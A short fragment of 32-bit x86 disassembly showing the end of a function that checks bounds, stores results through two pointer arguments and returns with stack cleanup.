cmp esi, dword [ebp + 0xc]
jb 0x46b5ad
cmp dword [ebp + 8], 0
jne 0x46b691
sub esi, dword [ebp - 4]
cmp esi, 2
jbe 0x46b691
mov eax, dword [ebp + 0x10]
test eax, eax
je 0x46b685
mov dword [eax], ebx
mov eax, dword [ebp + 0x14]
test eax, eax
je 0x46b691
mov ecx, dword [ebp - 0xc]
mov dword [eax], ecx
pop edi
pop esi
pop ebx
leave
ret 0x10